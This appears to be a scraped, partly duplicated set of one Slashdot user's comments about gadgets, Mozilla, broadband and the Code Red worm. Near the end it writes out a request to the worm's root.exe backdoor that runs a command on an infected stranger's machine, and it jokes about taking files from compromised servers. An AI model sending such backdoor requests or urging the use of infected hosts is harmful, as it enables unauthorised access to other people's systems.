As another user pointed out earlier the battery life of 2.8 ~ 3.5 hours is surprisingly unimpressive.
Aside from that I've decided it might be nice to have a little wireless web pad for when i just wanna cruise through the web sites I check out every day. (slashdot, UserFriendly, dilbert, Get Fuzzy, and Dozings.com.) As a replacement for a laptop or pda it wouldn't cut the mustard, but if I had the money something like this (but with more battery life) might be a nice little addition to my bag of electronic gizmos.
I guess if the CD won't play on the device I want to use it with I'm going to be forced to find a way to rip the tracks and burn them onto my own cd so I can listen to it where I want.
I hate to do it, because I know how much "they" hate it when I rip audio tracks off "their" cds but if its gotta be done, its gotta be done.
Everytime slashdot has posted a major Mozilla release I've downloaded it and given it a whirl. I've been waiting impatiently to leave Netscape 4.7x in the dust and finally use a new browser (and forget about IE with all those nasty security flaws.) Unfortunatley, everytime I've used Mozilla in the past it wasn't quite up to my standards. I'm happy to say that this time I'm finally switching to Mozilla. Thanks to all the wonderfull developers who have made this possible.
The best solution to our problems would be voting for a politician who knows about technology and open source. To that end I am calling my congressman and encouraging him to vote yes on resolution 453 which would make "cowboy neal" an option on every voting card in the United States.
I've been seeing a lot of the long audio delays on satallite relays that are just from D.C. to New York. That bugs me more than some slow refresh on a cross world video phone.
As a current CS student many of my classes have encouraged working with your fellow students when you get stuck. We've had a few group projects in several classes and I think its very important to have that experience at working in a group. Sometimes you get stuck in a group of people who don't know anything and you end up pulling a lot of the weight, but that just prepares you for working in the real world.
Time to boot bios 0.8 seconds.
Time to boot linux 3.0 seconds.
Finishing your work before the windows user in the next cubicle finishes booting: priceless.
I see this as a blessing. Like many out there I've been waiting for an eternity for broadband. The cable company is finally (started last week) laying the fiber optic in my area for my broadband (DSL is only a dream where I live.) So of course the cable company could charge me whatever they like for broadband (don't tell them but I'd gladly pay out the wazoo for this promised land.) If the power company could start offering me broadband then there might be a little price war.
You are right in that the cable company and the power company are both monopolies. But, they are only monopolies in the power and cable TV area. The more monopolistic companies we have offering broadband the smaller the broadband monopoly becomes.
(I hope that made sense to sombody because I really need a nap)
Forgive my late nigth post. I took a few minutes to think about it when I woke up this morning and it was all clear to me. Thanks for the follow up though.
According to some of the posts I've been seeing a lot of the infected machines are on cable-modem users. Due to the nature of this new beast we have access to all these infected servers. Cable-modem users due to their high bandwidth tend to have some of the best downloadz. It sounds to me like this is just Napster Version 2.
Now consider that the bandwidth for cable modems is shared among all the users on the same loop and multiply that 0.8Kbps you speak of times all the people on that loop. It still might not be huge but it is significant.
One nice thing about the worm is that it is only active in memory, meaning that if you reboot your machine it will die.
The Problem with this new varation is that the worm will be gone when the system is rebooted, but unless I'm wrong the root exploit will still be in place allowing anyone remote access to this machine. Installing the MS patch won't fix this either. This is a whole new can of worms (Sorry I couldn't help that last line)
>In the root directory of the drive there's an HTML file with the "Fuck USA goverment" tag or whatever.
I'm sure I'm not the first to think this, but I think its blatently obvious that this second itteration is somone trying hard to make it look like the chinese, but I'd bet they're a little closer to the US than they'd have us believe.
Slashdot Mirror
As another user pointed out earlier the battery life of 2.8 ~ 3.5 hours is surprisingly unimpressive.
Aside from that I've decided it might be nice to have a little wireless web pad for when i just wanna cruise through the web sites I check out every day. (slashdot, UserFriendly, dilbert, Get Fuzzy, and Dozings.com.) As a replacement for a laptop or pda it wouldn't cut the mustard, but if I had the money something like this (but with more battery life) might be a nice little addition to my bag of electronic gizmos.
You can fit all you mp3s in 1 gig?
Nothing would last ten years on my key chain. If I don't lose them I break them.
I guess if the CD won't play on the device I want to use it with I'm going to be forced to find a way to rip the tracks and burn them onto my own cd so I can listen to it where I want.
I hate to do it, because I know how much "they" hate it when I rip audio tracks off "their" cds but if its gotta be done, its gotta be done.
Everytime slashdot has posted a major Mozilla release I've downloaded it and given it a whirl. I've been waiting impatiently to leave Netscape 4.7x in the dust and finally use a new browser (and forget about IE with all those nasty security flaws.) Unfortunatley, everytime I've used Mozilla in the past it wasn't quite up to my standards. I'm happy to say that this time I'm finally switching to Mozilla. Thanks to all the wonderfull developers who have made this possible.
The best solution to our problems would be voting for a politician who knows about technology and open source. To that end I am calling my congressman and encouraging him to vote yes on resolution 453 which would make "cowboy neal" an option on every voting card in the United States.
This is great! It means Microsoft only has to buy off 3 people.
I found another site with the instructions for free. This one hasn't been /.ed yet so have fun:
http://www.ductape.net/~bradya/100inchtv/
I've been seeing a lot of the long audio delays on satallite relays that are just from D.C. to New York. That bugs me more than some slow refresh on a cross world video phone.
Does it need to be "trained" and, if so, what happens if I loan it to a friend? What if its freezing cold and I'm wearing gloves?
Unfortunatley learning to work in a group of slackers will prepare you for the real world where you're going to end up doing the same thing.
As a current CS student many of my classes have encouraged working with your fellow students when you get stuck. We've had a few group projects in several classes and I think its very important to have that experience at working in a group. Sometimes you get stuck in a group of people who don't know anything and you end up pulling a lot of the weight, but that just prepares you for working in the real world.
I'm developing a special addative for the eggo waffle folks which make the waffles resistant to heat unless you use a GTE toaster.
I have deployed four linux desktops in my home office.
My family and I used to spend hours playing the "Dr. Brain" games.
I find it funny that you list bugs and virii and include IIS in that list. (Not that I disagree mind you. It just seemed interesting)
Time to boot bios 0.8 seconds.
Time to boot linux 3.0 seconds.
Finishing your work before the windows user in the next cubicle finishes booting: priceless.
I see this as a blessing. Like many out there I've been waiting for an eternity for broadband. The cable company is finally (started last week) laying the fiber optic in my area for my broadband (DSL is only a dream where I live.) So of course the cable company could charge me whatever they like for broadband (don't tell them but I'd gladly pay out the wazoo for this promised land.) If the power company could start offering me broadband then there might be a little price war.
You are right in that the cable company and the power company are both monopolies. But, they are only monopolies in the power and cable TV area. The more monopolistic companies we have offering broadband the smaller the broadband monopoly becomes.
(I hope that made sense to sombody because I really need a nap)
Forgive my late nigth post. I took a few minutes to think about it when I woke up this morning and it was all clear to me. Thanks for the follow up though.
According to some of the posts I've been seeing a lot of the infected machines are on cable-modem users. Due to the nature of this new beast we have access to all these infected servers. Cable-modem users due to their high bandwidth tend to have some of the best downloadz. It sounds to me like this is just Napster Version 2.
Now consider that the bandwidth for cable modems is shared among all the users on the same loop and multiply that 0.8Kbps you speak of times all the people on that loop. It still might not be huge but it is significant.
The Problem with this new varation is that the worm will be gone when the system is rebooted, but unless I'm wrong the root exploit will still be in place allowing anyone remote access to this machine. Installing the MS patch won't fix this either. This is a whole new can of worms (Sorry I couldn't help that last line)
I'm going for the easy answer: If my score is an even number the answer is yes. Otherwise my answer is no.
As posted below you can do this:
/scripts/root.exe?+/c+start+http://www.digitalisla nd.com/codered/
GET
and it should pop up a web browser on their screen.
>In the root directory of the drive there's an HTML file with the "Fuck USA goverment" tag or whatever.
I'm sure I'm not the first to think this, but I think its blatently obvious that this second itteration is somone trying hard to make it look like the chinese, but I'd bet they're a little closer to the US than they'd have us believe.